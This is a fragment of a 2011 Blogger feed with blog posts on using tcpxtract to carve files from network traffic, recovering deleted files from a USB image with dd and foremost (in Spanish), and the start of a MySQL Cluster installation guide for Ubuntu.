/&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#make&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Install command:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Usage:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;# tcpxtract &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);font-size:85%;" &gt;Usage: tcpxtract [OPTIONS] [[-d &lt;device&gt;] [-f &lt;file&gt;]]&lt;br /&gt;Valid options include:&lt;br /&gt; --file, -f &lt;file&gt;         to specify an input capture file instead of a device&lt;br /&gt; --device, -d &lt;device&gt;     to specify an input device (i.e. eth0)&lt;br /&gt; --config, -c &lt;file&gt;       use FILE as the config file&lt;br /&gt; --output, -o &lt;directory&gt;  dump files to DIRECTORY instead of current directory&lt;br /&gt; --version, -v             display the version number of this program&lt;br /&gt; --help, -h                display this lovely screen&lt;/directory&gt;&lt;/file&gt;&lt;/device&gt;&lt;/file&gt;&lt;/file&gt;&lt;/device&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Use case: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Get all files from&lt;/span&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt; eth0&lt;/span&gt;&lt;span style="font-style: italic;"&gt; device:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;&lt;br /&gt;#tcpxtract  -d eth0 -o tmp/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;NOTE 1:&lt;/span&gt; Check tmp directory.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:Segoe UI;"&gt;&lt;span style="font-size:100%;"&gt;Using&lt;span style="font-weight: bold;"&gt; tcpxtract&lt;/span&gt; you can catch files of any extension like&lt;span style="font-weight: bold;"&gt; pdf, doc, jpg, png, gif or any kind&lt;/span&gt; if they pass through the network interface.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; It's your main function. !!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Thks !&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-3552372439266254552?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/3552372439266254552/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/11/010001-tcpxtrac-100100.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3552372439266254552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3552372439266254552'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/11/010001-tcpxtrac-100100.html' title='010001 - tcpxtrac - 100100'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-pYACGR8VeS4/TrNUKQ1eCfI/AAAAAAAABcg/CeK-uoU6lU0/s72-c/tcpxtract2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-3866356478377752952</id><published>2011-11-01T23:10:00.000-07:00</published><updated>2011-11-02T00:38:37.224-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Foremost'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Recuperar archivos borrados con foremost</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/-e9J16S40F78/TrDeKZjNpaI/AAAAAAAABcU/L4FSRxe4AKo/s1600/foremost.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 229px;" src="http://1.bp.blogspot.com/-e9J16S40F78/TrDeKZjNpaI/AAAAAAAABcU/L4FSRxe4AKo/s320/foremost.png" alt="" id="BLOGGER_PHOTO_ID_5670276201098093986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span id="result_box" class="" lang="es"&gt;&lt;span style="font-weight: bold;" class="hps"&gt;Foremost&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span class="hps"&gt;es&lt;/span&gt; &lt;span class="hps"&gt;un programa de consola&lt;/span&gt; &lt;span class="hps"&gt;para recuperar archivos&lt;/span&gt; &lt;span class="hps"&gt;basados&lt;/span&gt; &lt;span class="hps"&gt;​​en sus cabeceras&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span class="hps"&gt;pies de página,&lt;/span&gt; &lt;span class="hps"&gt;y&lt;/span&gt; &lt;span class="hps"&gt;estructuras de datos internas&lt;/span&gt;&lt;span&gt;.&lt;/span&gt; &lt;span class="hps"&gt;Este proceso&lt;/span&gt; &lt;span class="hps"&gt;se conoce comúnmente&lt;/span&gt; &lt;span class="hps"&gt;como la talla de&lt;/span&gt; &lt;span class="hps"&gt;los datos&lt;/span&gt;&lt;span&gt;.&lt;/span&gt; &lt;span class="hps"&gt;Todo&lt;/span&gt; &lt;span class="hps"&gt;se puede&lt;/span&gt; &lt;span class="hps"&gt;trabajar con archivos&lt;/span&gt; &lt;span class="hps"&gt;de imagen, tales&lt;/span&gt; &lt;span class="hps"&gt;como los generados por&lt;/span&gt; &lt;span class="hps"&gt;dd&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span class="hps"&gt;SafeBack&lt;/span&gt;&lt;span class=""&gt;, EnCase&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span class="hps"&gt;etc&lt;/span&gt;&lt;span&gt;,&lt;/span&gt; &lt;span class="hps"&gt;o directamente&lt;/span&gt; &lt;span class="hps"&gt;en un disco&lt;/span&gt;&lt;span&gt;.&lt;/span&gt; &lt;span class="hps"&gt;Los encabezados&lt;/span&gt; &lt;span class="hps"&gt;y pies de página&lt;/span&gt; &lt;span class="hps"&gt;se puede especificar&lt;/span&gt; &lt;span class="hps"&gt;un archivo de configuración&lt;/span&gt; &lt;span class="hps"&gt;o puede usar&lt;/span&gt; &lt;span class="hps"&gt;los interruptores&lt;/span&gt; &lt;span class="hps"&gt;de línea de comandos&lt;/span&gt; &lt;span class="hps"&gt;para especificar&lt;/span&gt; &lt;span class="hps"&gt;incorporado&lt;/span&gt; &lt;span class="hps"&gt;en&lt;/span&gt; &lt;span class="hps"&gt;los tipos de archivo&lt;/span&gt;&lt;span&gt;.&lt;/span&gt; &lt;span class="hps"&gt;Estos tipos&lt;/span&gt; &lt;span class="hps"&gt;built-in&lt;/span&gt; &lt;span class="hps"&gt;vistazo a&lt;/span&gt; &lt;span class="hps"&gt;las estructuras de datos&lt;/span&gt; &lt;span class="hps"&gt;de un formato de&lt;/span&gt; &lt;span class="hps"&gt;archivo dado&lt;/span&gt; &lt;span class="hps"&gt;que permite una&lt;/span&gt; &lt;span class="hps"&gt;recuperación&lt;/span&gt; &lt;span class="hps"&gt;más rápidas y fiables&lt;/span&gt;&lt;span class=""&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-size:180%;"&gt;&lt;b&gt;Instalacion de foremost&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;Slackware 13.37:&lt;/b&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;NOTA 0:&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;Usando Slapget&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;# slapt-get --install foremost&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="font-weight: bold;"&gt;Debian - Ubuntu&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#apt-get install foremost&lt;/span&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-size:180%;"&gt;&lt;b&gt;Ayuda de Foremost: &lt;/b&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in;"&gt;Ejecutarlo por primera vez para ver su ayuda&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(204, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt;#foremost -h&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;Caso de uso:&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;Recuperar de una USB de 4GB unos archivos  .ppt que fueron borrados accidentalmente.&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:130%;"&gt;Solución: &lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;1ro:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Sacar la imagen de la USB:  &lt;/span&gt;&lt;/p&gt;&lt;span style="color: rgb(204, 0, 0);font-size:85%;" &gt; &lt;/span&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#dd if=/dev/sdc1  of=img_usb.dd&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;2do: &lt;/span&gt;&lt;span style="font-style: italic;"&gt;Iniciar la recuperacion de archivos:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#foremost -t ppt -av img_usb.dd -o tmp/&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;Al terminar, se crearan carpetas dentro de &lt;span style="font-weight: bold;"&gt;tmp&lt;/span&gt;, las cuales indica el tipo de archivos que recuperó, en nuestro caso los &lt;span style="font-weight: bold;"&gt;ppt&lt;/span&gt;.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-weight: bold;"&gt;3ro:&lt;/span&gt; &lt;span style="font-style: italic;"&gt;Revisar todos los archivos .ppt recuperados:&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;Entrar a la carpeta &lt;span style="font-weight: bold;"&gt;tmp/ppt&lt;/span&gt; y revizar los archivos que recuperó.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;NOTA 1:&lt;/b&gt; Las opciones &lt;span style="font-weight: bold;"&gt;-t, -av&lt;/span&gt; y &lt;span style="font-weight: bold;"&gt;-o &lt;/span&gt;están en la ayuda de foremost “&lt;span style="font-style: italic;"&gt;Unos renglones mas arriba&lt;/span&gt;”.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;span style="font-size:180%;"&gt; &lt;/span&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-size:180%;"&gt;&lt;b&gt;Buscar otro tipo de archivos con foremost&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#foremost -t &lt;span style="font-weight: bold;"&gt;ppt,pdf,avi,exe,doc,docx,png,jpg&lt;/span&gt; -av img_usb.dd -o tmp/&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in; font-weight: bold;"&gt;&lt;span style="font-size:180%;"&gt;Thks !&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3152879559065474295-3866356478377752952?l=x1nux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://x1nux.blogspot.com/feeds/3866356478377752952/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://x1nux.blogspot.com/2011/11/recuperar-archivos-borrados-con.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3866356478377752952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3152879559065474295/posts/default/3866356478377752952'/><link rel='alternate' type='text/html' href='http://x1nux.blogspot.com/2011/11/recuperar-archivos-borrados-con.html' title='Recuperar archivos borrados con foremost'/><author><name>x1nux</name><uri>http://www.blogger.com/profile/16559278325370614240</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-e9J16S40F78/TrDeKZjNpaI/AAAAAAAABcU/L4FSRxe4AKo/s72-c/foremost.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3152879559065474295.post-8209165813581095733</id><published>2011-11-01T16:25:00.000-07:00</published><updated>2011-11-01T21:05:05.770-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Training'/><category scheme='http://www.blogger.com/atom/ns#' term='Research'/><category scheme='http://www.blogger.com/atom/ns#' term='Mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Tricks'/><category scheme='http://www.blogger.com/atom/ns#' term='Manuals'/><title type='text'>Mysql-Cluster Installation under Ubuntu Linux:</title><content type='html'>&lt;a href="http://2.bp.blogspot.com/-vMNWsmYYQYI/TrCDyGcfIcI/AAAAAAAABcI/R8vouSq7SGw/s1600/mysql-cluster.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 205px;" src="http://2.bp.blogspot.com/-vMNWsmYYQYI/TrCDyGcfIcI/AAAAAAAABcI/R8vouSq7SGw/s320/mysql-cluster.jpg" alt="" id="BLOGGER_PHOTO_ID_5670176827606245826" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-tm3lQHk-Rb8/TrCDfd5z0GI/AAAAAAAABb8/5_Ia3694WIs/s1600/mysql-cluster.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }   A:link { so-language: zxx }  --&gt;  &lt;/style&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;MySQL Cluster&lt;/b&gt; is the industry's only real-time transactional relational database combining 99.999% availability with the low Total Cost of Ownership (TCO) of open source. It features a "shared-nothing" distributed architecture with no single point of failure to assure high availability and performance, allowing you to meet your most demanding mission-critical application requirements.&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;MySQL Cluster's&lt;/b&gt; real-time design delivers predictable, millisecond response times with the ability to service tens of thousands of transactions per second. Support for in-memory and disk based data, automatic data partitioning with load balancing and the ability to add nodes to a running cluster with zero downtime allows linear database scalability to handle the most unpredictable workloads.&lt;/p&gt;  &lt;p style="margin-bottom: 0in"&gt;&lt;b&gt;MySQL Cluster&lt;/b&gt; eliminates the need for expensive shared storage, and runs on a range of commodity platforms, making it the most open and cost-effective database solution for mission critical applications.&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Companies that work with Mysql-Cluster:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="font-family:verdana, arial, helvetica, sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;&lt;span style="background: #ffffff"&gt;Alcatel-Lucent&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="background: #ffffff"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="font-family:verdana, arial, helvetica, sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;&lt;span style="background: #ffffff"&gt;FreeRADIUS&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="font-family:verdana, arial, helvetica, sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;&lt;span style="background: #ffffff"&gt;Shopatron Inc.&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="font-family:verdana, arial, helvetica, sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;&lt;span style="background: #ffffff"&gt;Telenor&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="font-family:verdana, arial, helvetica, sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;&lt;span style="background: #ffffff"&gt;UTStarcom&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="font-family:verdana, arial, helvetica, sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;&lt;span style="background: #ffffff"&gt;Zillow.com&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="font-family:verdana, arial, helvetica, sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;&lt;span style="background: #ffffff"&gt;go2 Media&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="font-family:verdana, arial, helvetica, sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;&lt;span style="background: #ffffff"&gt;SPEECH DESIGN&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;ul&gt;&lt;li&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;strong&gt;&lt;span style="color:#555555;"&gt;&lt;span style="font-family:verdana, arial, helvetica, sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;&lt;span style="background: #ffffff"&gt;IDC&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;   &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;In order to implement you should know a previous vocabulary:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="font-style: normal; font-weight: normal"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;MySQL Cluster uses three different types of nodes (processes) :&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;ul&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in; border: none; padding: 0in; font-style: normal; font-weight: normal; line-height: 0.2in; widows: 2; orphans: 2"&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;b&gt;Data  node (ndbd/ndbmtd process)&lt;/b&gt;: These nodes store the data.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="margin-bottom: 0in; border: none; padding: 0in; line-height: 0.2in; widows: 2; orphans: 2"&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;b&gt;Management  node (ndb_mgmd process)&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;span style="font-weight: normal"&gt;:  Used for configuration and monitoring of the cluster. They are  required only during node startup.[&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://en.wikipedia.org/wiki/Wikipedia:Citation_needed"&gt;&lt;span style="color:#0645ad;"&gt;&lt;span style="text-decoration: none"&gt;&lt;span style="font-family:sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;i&gt;&lt;span style="font-weight: normal"&gt;citation  needed&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-family:sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;span style="font-style: normal"&gt;&lt;span style="font-weight: normal"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/li&gt;&lt;li&gt;&lt;p style="border: none; padding: 0in; font-style: normal; font-weight: normal; line-height: 0.2in; widows: 2; orphans: 2"&gt;  &lt;span style="color:#000000;"&gt;&lt;span style="font-family:sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;&lt;b&gt;SQL  node (mysqld process)&lt;/b&gt;: A MySQL server (mysqld) that connects to  all of the data nodes in order to perform data storage and  retrieval. This node type is optional; it is possible to query data  nodes directly via the NDB API.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;/li&gt;&lt;/ul&gt; &lt;p style="font-style: normal; font-weight: normal; line-height: 0.2in; widows: 2; orphans: 2;"&gt; &lt;span style="color:#000000;"&gt;&lt;span style="font-family:sans-serif;"&gt;&lt;span style="font-size: 9pt;font-size:85%;"&gt;Generally, it is expected that each node will run on a separate host computer.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="font-style: normal; font-weight: normal; line-height: 0.2in; widows: 2; orphans: 2;"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-style: normal; font-weight: normal; line-height: 0.2in; widows: 2; orphans: 2"&gt;          &lt;style type="text/css"&gt;  &lt;!--   @page { margin: 0.79in }   P { margin-bottom: 0.08in }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="font-size:180%;color:#000000;"&gt;&lt;b&gt;Mysql-Cluster Installation under Ubuntu Linux:&lt;/b&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Install Management Node: &lt;/b&gt;&lt;/span&gt;&lt;/span&gt; &lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#apt-get install mysql-server-5.1  mysql-cluster-server-5.1 mysql-cluster-client-5.1&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in;"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Create following directories:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-bottom: 0in; color: rgb(204, 0, 0);"&gt;&lt;span style="font-size:85%;"&gt;#mkdir /var/lib/mysql-cluster&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0in"&gt;&lt;span style="color:#000000;"&gt;&lt;span style="font-size:100%;"&gt;&lt;b&gt;Give the  following properties:&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p 